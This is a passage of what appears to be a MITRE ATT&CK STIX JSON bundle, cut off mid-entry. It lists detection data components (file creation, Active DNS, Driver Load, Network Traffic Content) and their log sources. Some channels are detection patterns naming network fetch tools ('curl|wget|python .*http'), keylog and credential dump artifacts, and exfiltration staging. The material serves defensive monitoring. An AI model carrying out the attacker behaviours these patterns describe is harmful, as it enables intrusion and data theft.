            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "File",
                    "channel": "None"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "creat"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file write"
                },
                {
                    "name": "macos:osquery",
                    "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "File creation with name starting with '.'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation or modification of browser extension .plist files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open or creat syscalls targeting excluded paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file creation in AV exclusion directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "file creation/modification"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file write/create"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "file write"
                },
                {
                    "name": "snmp:syslog",
                    "channel": "firmware write/log event"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file events"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "VMFS file creation"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write/open, FIM audit"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "open/write/exec calls"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .plist under /Library/Managed Preferences/"
                },
                {
                    "name": "fs:fileevents",
                    "channel": "creat"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons"
                },
                {
                    "name": "macos:osquery",
                    "channel": "file_events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open: Write to ~/.vscode-cli/code_tunnel.json"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "creation of ~/.vscode-cli/code_tunnel.json"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "create/modify dylib files in monitored directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                },
                {
                    "name": "linux:Sysmon",
                    "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "create: New file created in system binaries or temp directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File created in ~/Library/LaunchAgents or executable directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, unlink, rename: File creation or deletion involving critical stored data"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "logd:file write"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "File IO"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File creation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Attachment files written to ~/Downloads or temporary folders"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file activity"
                },
                {
                    "name": "CloudTrail:PutObject",
                    "channel": "PutObject"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write, open, or rename to /etc/systemd/system/*.service"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file open/write"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories"
                },
                {
                    "name": "linux:osquery",
                    "channel": "file_events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File Events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, write, unlink"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "File creation of suspicious scripts/binaries in temporary directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File creation of unsigned binaries/scripts in user cache or download directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "create: Attachment file creation in ~/Library/Mail directories"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Shell-Core",
                    "channel": "New startup folder shortcut or binary placed in Startup directory"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write or create file after .bash_history access"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "new file created in /var/www/html, /srv/http, or similar web root"
                },
                {
                    "name": "fs:launchdaemons",
                    "channel": "file_create"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "mount target path within /proc/*"
                },
                {
                    "name": "macos:fsevents",
                    "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "write or chmod to ~/Library/LaunchAgents/*.plist"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of files with anomalous headers and entropy values"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Access or modification to /lib/modules or creation of .ko files"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "Directory events (kFSEventStreamEventFlagItemCreated)"
                },
                {
                    "name": "gcp:workspaceaudit",
                    "channel": "drive.activity logs"
                },
                {
                    "name": "fs:fileevents",
                    "channel": "create/write/rename in user-writable paths"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs"
                },
                {
                    "name": "macos:osquery",
                    "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open,create"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file write"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_open"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open,creat,rename,write"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "PutObject"
                },
                {
                    "name": "android:logcat",
                    "channel": "App UID writes new file with suspicious extension/location (.tmp, .dat, .enc, /data/data/<pkg>/files/, /sdcard/Download/) and high estimated entropy"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "NSFileHandle/NSFileManager writes creating high-entropy files within app container (/var/mobile/Containers/Data/Application/<GUID>/tmp|Library/Caches)"
                },
                {
                    "name": "android:logcat",
                    "channel": "App UID writes edited media to container paths (e.g., /data/data/<pkg>/files/, .../cache/, /storage/emulated/0/Pictures/<pkg>/) with high delta in size vs. original and elevated estimated segment entropy  "
                },
                {
                    "name": "android:logcat",
                    "channel": "Create/write of high-entropy files in /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/<...> with .dex/.so/.jar/.tmp/.bin"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Create/write of high-entropy Mach-O/bundle or generic blob in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/"
                },
                {
                    "name": "android:logcat",
                    "channel": "Create/write under /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/ with extension .dex/.jar/.so/.zip/.tmp/.js and elevated entropy"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Create/write in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/ for .js/.bundle/.dylib/.zip with elevated entropy"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE of archive or container (.zip/.gz/.7z/.db copy) that aggregates files pulled from other-package paths"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE of archive/container (.zip/.gz/.7z/.db export) aggregating recently read items"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE to app-writable DB/file path indicating clipboard dump (e.g., clipboard.db, clip_*.txt)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE of clipboard dump artifacts in container (clipboard.db, clip_*.txt, caches)"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE paths like /data/data/<pkg>/files/(keys|inputs)/.*\\\\.db|\\\\.txt|\\\\.log"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE clipboard/keylog artifacts (clipboard.db, keys_*.txt) in container"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(keys|inputs|clipboard).*\\\\.(db|sqlite|txt|log)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE of keylog artifacts (keys_*.txt, inputs.db) within app/keyboard container"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(creds|form|prompt).*\\\\.(db|sqlite|json|txt)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE of form cache/credential-like artifacts (forms.db, creds.json) in container"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(app_inventory|pkg_list).*\\\\.(json|txt|db)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE container paths like /Library/Caches/app_inventory.*\\\\.(json|plist|db)"
                },
                {
                    "name": "android:logcat",
                    "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(security_inventory|policy_audit).*\\\\.(json|txt|db|plist)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "CREATE/WRITE of /Library/Caches/security_inventory.*\\\\.(json|plist|db)"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Browser/WebView process creates downloaded payloads, temporary files, dropped archives, or unusual cached web artifacts shortly after visiting external content"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "File writes from removable-media or USB-associated paths into download, package staging, temp, or application-accessible storage shortly after USB connection"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "large file write originating from /mnt/usb or external mounted storage"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Recently installed or updated trusted app writes staging, cache, buffer, or export artifacts inconsistent with its approved function, especially when temporally adjacent to sensitive resource access or outbound transfer"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App stages, buffers, caches, or exports data locally immediately before communication with legitimate external web-service endpoints in a way inconsistent with normal sync or offline workflow"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Burst write to cache, buffer, temp, staging, or export path occurred between inbound retrieval and outbound write to same public web-service class"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Burst write to media, cache, temp, export, or staging path occurred during or immediately after camera session from same app identity"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App writes encoded/encrypted blobs (high entropy data) to local storage or memory buffers prior to transmission"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App writes high-entropy encrypted blobs to local storage or memory buffers prior to transmission"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "App writes asymmetric-encrypted blobs or encoded ciphertext to local buffers or files prior to transmission"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application reads multiple user-data files, media objects, message stores, or app-private records in burst sequence immediately before packaging or encryption activity"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application writes archive-like container or high-entropy packaged blob to app storage, cache, temp path, or shared external path after burst collection activity"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application writes new large container, temp package, or high-entropy blob after clustered local data access and before outbound communication"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application performs burst reads across local system paths, external storage, media directories, cache locations, or local database files within a short interval as the primary collection phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application writes newly retrieved binary, archive, script-like asset, overlay content, library, or opaque payload to app-private, cache, temp, or shared external path as the primary local effect of transfer"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Managed app writes newly retrieved container-local asset, dylib-like resource, archive, or opaque payload shortly after remote retrieval as the strongest local effect"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "APK, DEX, native library, or package-associated executable content is written, expanded, or swapped in app package paths, staging paths, or installer cache immediately before or during application replacement"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application modifies protected configuration, local control files, security settings, or tool-related data immediately before security service degradation or non-reporting state"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
            "created": "2021-10-20T15:05:19.275Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0103",
                    "external_id": "DC0103"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Active DNS",
            "description": "\"Domain Name: Active DNS\" data component captures queried DNS registry data that highlights current domain-to-IP address resolutions. This data includes both direct queries to DNS servers and records that provide mappings between domain names and associated IP addresses. It serves as a critical resource for tracking active infrastructure and understanding the network footprint of an organization or adversary. Examples: \n\n- DNS Query Example: `nslookup example.com`, `dig example.com A`\n- PTR Record Example: `dig -x 192.168.1.1`\n- Tracking Malicious Domains: DNS logs reveal repeated queries to suspicious domains like malicious-site.com. The IPs resolved by these domains may be indicators of compromise (IOCs).\n- DNS Record Types\n    - A/AAAA Record: Maps domain names to IP addresses (IPv4/IPv6).\n    - CNAME Record: Canonical name records, often used for redirects.\n    - MX Record: Mail exchange records, used to route emails.\n    - TXT Record: Can include security information like SPF or DKIM policies.\n    - SOA Record: Start of authority record for domain management.\n    - NS Record: Lists authoritative name servers for the domain.\n\nThis data component can be collected through the following measures:\n\n- System Utilities: Use built-in tools like `nslookup`, `dig`, or host on Linux, macOS, and Windows to perform active DNS queries.\n- DNS Logging\n    - Windows DNS Server: Enable DNS Analytical Logging to capture DNS queries and responses.\n    - Bind DNS: Enable query logging in the named.conf file.\n- Cloud Provider DNS Logging\n    - AWS Route 53: Enable query logging through CloudWatch or S3:\n    - Google Cloud DNS: Enable logging for Cloud DNS queries through Google Cloud Logging.\n- Network Traffic Monitoring: Use tools like Wireshark or Zeek to analyze DNS queries within network traffic.\n- Security Information and Event Management (SIEM) Integration: Aggregate DNS logs in a SIEM like Splunk to create alerts and monitor patterns.\n- Public OSINT Tools: Use OSINT platforms like VirusTotal, or PassiveTotal to collect information on domains and their associated IP addresses.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Domain Name",
                    "channel": "None"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0079",
                    "external_id": "DC0079"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Driver Load",
            "description": "The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples: \n\n- Legitimate Driver Loading: A new graphics driver from a vendor like NVIDIA or AMD is loaded into the system.\n- Unsigned Driver Loading: A driver without a valid digital signature is loaded into the kernel.\n- Rootkit Installation: A malicious rootkit driver is loaded to manipulate kernel-mode processes.\n- Anti-Virus or EDR Driver Loading: An Endpoint Detection and Response (EDR) solution loads its driver to monitor system activities.\n- Driver Misuse: A legitimate driver is loaded and exploited to execute malicious actions, such as using vulnerable drivers for bypassing defenses (e.g., Bring Your Own Vulnerable Driver (BYOVD) attacks).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                },
                {
                    "name": "linux:syslog",
                    "channel": "dmesg or syslog for module loads"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Driver load events or firmware load failures for hardware devices"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0085",
                    "external_id": "DC0085"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.771Z",
            "name": "Network Traffic Content",
            "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n    - Wireshark / tcpdump / tshark\n        - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n    - Zeek (formerly Bro)\n        - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n    - Suricata / Snort (IDS/IPS with PCAP Logging)\n        - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n    - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n    - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n    - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n    - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n    - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Traffic",
                    "channel": "None"
                },
                {
                    "name": "ALB:HTTPLogs",
                    "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts"
                },
                {
                    "name": "apache:access_log",
                    "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"
                },
                {
                    "name": "API:ConfigRepoAudit",
                    "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "setsockopt, ioctl modifying ARP entries"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Traffic between instances"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer"
                },
                {
                    "name": "azure:activity",
                    "channel": "networkInsightsLogs"
                },
                {
                    "name": "azure:vpcflow",
                    "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints"
                },
                {
                    "name": "container:proxy",
                    "channel": "outbound/inbound network activity from spawned pods"
                },
                {
                    "name": "docker:events",
                    "channel": "remote API calls to /containers/create or /containers/{id}/start"
                },
                {
                    "name": "docker:stats",
                    "channel": "unusual network TX/RX byte deltas"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "Process within container accesses link-local address 169.254.169.254"
                },
                {
                    "name": "EDR:hunting",
                    "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents"
                },
                {
                    "name": "esxcli:network",
                    "channel": "Socket sessions with randomized payloads inconsistent with TLS"
                },
                {
                    "name": "esxcli:network",
                    "channel": "listening sockets bound to non-standard ports"
                },
                {
                    "name": "esxcli:network",
                    "channel": "listening sockets bound with non-standard encapsulated protocols"
                },
                {
                    "name": "esxcli:network",
                    "channel": "Socket inspection showing RSA key exchange outside baseline endpoints"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Network activity"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Outbound traffic using encoded payloads post-login"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "HTTPS POST connections to webhook endpoints"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "HTTPS POST connections to pastebin-like domains"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "network stack module logs"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Suspicious traffic filtered or redirected by VM networking stack"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "VMCI syslog entries"
                },
                {
                    "name": "esxi:vob",
                    "channel": "NFS/remote access logs"
                },
                {
                    "name": "etw:Microsoft-Windows-NDIS-PacketCapture",
                    "channel": "TLS Handshake/Network Flow"
                },
                {
                    "name": "etw:Microsoft-Windows-WinINet",
                    "channel": "HTTPS Inspection"
                },
                {
                    "name": "etw:Microsoft-Windows-WinINet",
                    "channel": "WinINet API telemetry"
                },
                {
                    "name": "gcp:audit",
                    "channel": "network.query*"
                },
                {
                    "name": "gcp:vpcflow",
                    "channel": "first 5m egress to unknown ASNs"
                },
                {
                    "name": "IDS:TLSInspection",
                    "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Per-app VPN flow logging indicating opaque/archived payload transfer preceding local decode"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Per-App VPN flow with code-like content types (application/octet-stream, application/zip, text/javascript, application/x-mach-o)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "WKWebView navigation to domain visually similar to target brand (IDN/punycode/alike score)"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Query to suspicious domain with high entropy or low reputation"
                },
                {
                    "name": "linux:syslog",
                    "channel": "curl|wget|python .*http"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Unexpected SQL or application log entries showing tampered or malformed data"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Integrity mismatch warnings or malformed packets detected"
                },
                {
                    "name": "linux:syslog",
                    "channel": "DNS response IPs followed by connections to non-standard calculated ports"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Multiple NXDOMAIN responses and high entropy domains"
                },
                {
                    "name": "m365:office",
                    "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process + network metrics correlation for bandwidth saturation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "DNS query with pseudo-random subdomain patterns"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network flow"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "curl|osascript.*open location"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem: com.apple.network"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "open URL|clicked link|LSQuarantineAttach"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "HTTP POST with encoded content in user-agent or cookie field"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream (subsystem: com.apple.system.networking)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Encrypted connection with anomalous payload entropy"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network, socket, and http logs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "DNS responses followed by connections to ports outside standard ranges"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Persistent outbound traffic to mining domains"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Encrypted session initiation by unexpected binary"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "eventMessage = 'promiscuous'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "outbound HTTPS connections to code repository APIs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "eventMessage = 'open', 'sendto', 'connect'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dns-sd, mDNSResponder, socket activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process + network activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem=com.apple.WebKit"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "encrypted outbound traffic carrying unexpected application data"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Persistent outbound connections with consistent periodicity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "TLS connections with abnormal handshake sequence or self-signed cert"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "outbound TLS connections to cloud storage providers"
                },
                {
                    "name": "macos:unifiedlog",
